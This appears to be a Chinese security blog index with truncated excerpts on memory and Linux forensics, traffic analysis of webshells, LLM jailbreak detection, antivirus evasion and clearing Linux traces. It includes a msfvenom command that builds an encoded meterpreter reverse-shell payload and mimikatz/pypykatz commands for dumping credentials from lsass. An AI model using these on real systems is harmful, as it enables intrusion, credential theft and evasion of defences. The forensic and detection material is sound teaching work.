内存取证基础——linux
Profile制作不同的操作系统(Windows、Linux、macOS)、不同的发行版(比如 Ubuntu 22.04 vs CentOS 7),甚至不同版本的操作系统内核,它们在内存中存储信息的方式是完全不同的。vol2使用profile进行内存信息的标记
对于 Windows 系统,微软发布的版本相对固定,Volatility 官方自带了绝大多数常见 Windows 版本的 Profile。 但 Linux 开源且碎片化严重,各个发行版(Ubuntu, Debian, CentOS 等)都会自己编译内核,更新也非常频繁。Volatility 不可能内置所有 Linux 内核的配置文件。因此:
如果你拿到一个 Linux 的内存镜像,你通常需要先查出它具体的内核版本号(比如 5.15.0-76-generic)。
然后去开源仓库找别人做好的。
如果找不到,你就得按照教程,自己搭建一个相同内核版本的 Linux 虚拟机,编译提取出 system.map 和 module.dwarf,打包成自己专属的 Profile。
扫描系统在开始制作之前,你必须知道这个内存镜像是从什么系统、什 ...
内存取证基础——macos
识别不出内存镜像版本的取证直接使用 010 手搓或者用 Strings 命令把可打印字符保存到文本文件中再手搓
需要从内存中找到 AES 解密的 key 的情况:可以使用 findaes.exe 工具辅助查找
工具dmp文件
拉入Passware Kit Forensic-Memory Analysis进行分析(用户名和密码)
使用vol分析
lsass.DMP文件直接使用mimikatz或者pypykatz分析
12sekurlsa::minidump lsass.dmpsekurlsa::logonpasswords
1pypykatz lsa minidump lsass.DMP
dump文件“dmp” 通常特指 Windows 的崩溃转储文件,而 “dump” 是一个更为通用的术语,可以用于描述各种数据转储操作或文件。
取证方法大致和dmp文件相同
mem文件1vol.py -f mem imageinfo
raw文件可以直接使用 vol2 或者 vol3 进行内存取证
系统取证——centos
网络配置位置 配置网卡参数
网卡的配置文件位于/etc/sysconfig/network-scripts/目录下,文件名通常为ifcfg-<interface_name>。
配置文件修改以下是一个典型的静态IP配置:
1234567891011121314151617TYPE="Ethernet"BOOTPROTO="none"DEFROUTE="yes"IPV4_FAILURE_FATAL="no"IPV6INIT="yes"IPV6_AUTOCONF="yes"IPV6_DEFROUTE="yes"IPV6_FAILURE_FATAL="no"NAME="ens33"UUID="some-uuid-value"DEVICE="ens33"ONBOOT="yes"IPADDR="192.168.1.100"PREF ...
linux取证——文件取证
Linux系统文件信息取证与核心操作在Linux系统的日常维护与安全取证过程中,熟练掌握文件操作与查找命令是至关重要的基础。以下内容将原有的知识体系进行了深度重构与详尽扩展。
Linux核心文件操作指令ls 命令ls(全拼为 list directory contents)是Linux中最基础也是最常用的命令,其核心作用是显示指定工作目录下的内容,精准列出目前工作目录所包含的文件及子目录。
基础语法与运行逻辑
ls [-alrtAFR] [name...]
核心参数深度剖析
-a (all):无死角显示所有文件及目录。在Linux中,以 . 开头的文件属于隐藏文件,该参数强制列出所有隐藏内容,在取证时排查隐藏的恶意文件极其重要。
-d (directory):仅针对目录本身进行列出,而不会递归深入列出目录内部的具体文件。
-l (long format):以极其详尽的长格式输出文件和目录的各项元数据信息。输出内容涵盖了文件的读写执行权限、文件所有者、文件大小以及具体的创建或修改时间等关键取证线索。
-r (reverse):打破默认的正向排序,强制将文件和目录进行倒序显示。 ...
流量分析基础——网络模型
网络模型TCP/IP协议毫无疑问是互联网的基础协议,没有它就根本不可能上网,任何和互联网有关的操作都离不开TCP/IP协议。不管是OSI七层模型还是TCP/IP的四层、五层模型,每一层中都要自己的专属协议,完成自己相应的工作以及与上下层级之间进行沟通。由于OSI七层模型为网络的标准层次划分,所以我们以OSI七层模型为例从下向上进行一一介绍。
物理层(Physical Layer)激活、维持、关闭通信端点之间的机械特性、电气特性、功能特性以及过程特性。该层为上层协议提供了一个传输数据的可靠的物理媒体。简单的说,物理层确保原始的数据可在各种物理媒体上传输。物理层记住两个重要的设备名称,中继器(Repeater,也叫放大器)和集线器。
数据链路层(Data Link Layer)数据链路层在物理层提供的服务的基础上向网络层提供服务,其最基本的服务是将源自网络层来的数据可靠地传输到相邻节点的目标机网络层。为达到这一目的,数据链路必须具备一系列相应的功能,主要有:如何将数据组合成数据块,在数据链路层中称这种数据块为帧(frame),帧是数据链路层的传送单位;如何控制帧在物理信道上的传输,包括如 ...
流量种类
网络流量SQL注入流量分析可以使用 wireshark 的过滤器过滤出注入的流量,然后导出特定分组
然后使用 tshark 根据字段名提取出所有的注入语句
如果是盲注的话,直接写个正则匹配脚本提取数据即可
Tips:如果返回的响应数据是gzip格式,要注意提取的位置,gzip的文件头是1F 8B 08 00
webshell流量分析菜刀流量分析菜刀流量的一个明显的特征就是,响应里可能有 ->| |<- 这样的字符串
哥斯拉流量分析
哥斯拉的默认密钥为:3c6e0b8a9c15224a
哥斯拉流量一般的加密方式就是异或,当然在插件的加持下可能也会用到AES
我们以下面这个编码器为例子,这里要注意异或的时候,是从密钥的第二位开始异或
因此当我们使用CyberChef解密的时候,需要把密钥的第一位移到最后
1234567function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; & ...
linux基本特性
单用户模式与Root密码重置在Linux系统的日常维护中,管理员经常会遇到忘记Root密码或者系统因配置错误无法正常引导的情况。此时,单用户模式(Single-User Mode)就成为了一个至关重要的紧急修复通道。
拦截并进入系统引导菜单
中断内核启动引导:当服务器或虚拟机刚开始启动时,系统会加载GRUB引导加载程序。在屏幕上出现内核启动顺序选择界面时,必须迅速按下键盘上的任意键,打断默认的倒计时自动引导过程。接着,通过键盘的上下方向键,让光标稳定停留在你需要启动的Linux内核项上。
进入内核编辑模式:在选中目标Linux内核启动项后,仔细阅读屏幕下方的操作提示,此时键入小写字母 e,即可进入内核启动参数的编辑界面。
定位核心配置行:在打开的编辑界面中,文本内容可能较多。请使用键盘方向键向下滚动,准确找到以 kernel 或 linux16 作为开头的那一行(通常在配置块的中间偏下位置)。定位后,可以再次按下按键 e 或直接移动光标准备修改参数。
内核启动选项参数深度解析在内核启动时,我们可以通过追加不同的参数来改变系统的行为状态:
核心启动参数
底层运行含 ...
攻击检测方案
攻击检测方案
判别模型:通过在标记好的越狱数据集上进行微调模型,判断输入提示是否触发了越狱行为。模型输出为二分类结果:“1”表示越狱成功;“0”表示拒绝响应。这种方式能够通过学习越狱提示与正常提示的特征差异,较为精准的检测出攻击
基于规则的检测:这种方法依赖于预定义的一组规则和模式,例如检测输出中是否包含拒绝提示的常见短语。通过这类检测,可以快速检测出部分越狱提示,尤其是在模型直接拒绝攻击提示时
提示泄露检测:当用户输入请求后,模型生成相应的响应。我们将响应与需要保护的内部Prompt进行语义相似性比较,计算两者之间的相似度,通过分析文本之间的相似性来识别潜在的攻击行为
判别模型判断模型的准确率和自动化程度高,能够在较多场景中发挥重要的作用。在这种方法中我们可以将越狱检测的任务抽象为一个二分类任务,通过模型的输出来判断输入的Prompt是否为越狱攻击语句。首先我们需要一个预训练的分类模型,该模型通常会在大规律数据上进行训练,并具备强大的自然语言理解能力
基于规则的检测
优点:实现简单,易于维护和扩展,适用于明确的越狱攻击提示和模型拒绝提示
缺点:规则的覆盖范围有限,容易漏掉复制或微妙 ...
免杀工具的使用
msf免杀msf自编码处理使用msfvenom --list eencoders可查看所有编码
评级最高的两个encoder为 cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。
使用x86/shikata_ga_nai生成payload,参数-i为编码次数,我这设置15次,并使用了-b参数去掉payload中的空字符。
1msfvenom-p windows/meterpreter/reverse_tcp LHosT=10.211.55.2 LPoRT=3333 -e x86/shikata_ga_nai -b "\x00" -i 15 -fexe -0 payload2.exe
由于shikata_ga_nai编码技术是多态的,也就是说每次成的payload件都不一样,有时成的件会被查杀,有时却不会。当然这个也和编码次数有定关系,编码次数好像超过70次就经常成出错,但是编码次数多并不代表免杀能强。
msf自捆绑免杀在成payload时可以使用捆绑功能,使 ...
Linux痕迹清除
1 日志分析Linux系统拥有非常灵活和强大的日志功能,可以保存几乎所有的操作记录,并可以从中检索出我们需要的信息。
日志对于系统安全来说非常重要,它记录每天发生的各种各样的事情,用户可以通过它来检查错误发生的原因,或者寻找收到攻击时攻击者留下的痕迹。日志主要的功能是审计和检测。它还可以实时检测系统状态,监测和追踪侵入者
1.1 日志简介日志默认位置:/var/log
查看日志配置情况:more /etc/rsyslog.conf
1.2 日志消息级别
数值
英文名称
中文名称
描述
典型场景示例
0
EMERG
紧急
系统不可用,必须立即处理
内核崩溃、文件系统损坏导致系统无法启动
1
ALERT
警戒
必须立即采取行动(如不处理将导致严重问题)
磁盘空间 100% 耗尽、关键服务端口被占用
2
CRIT
严重
严重错误,服务可能中断但系统仍可运行
数据库连接失败、认证服务崩溃
3
ERR
错误
非紧急错误,服务功能部分受限
应用程序某模块调用失败、配置文件语法错误
4
WARNING
警告
潜在问题,不影响当前功能但可能预示未来故障
磁盘空间低于 10 ...








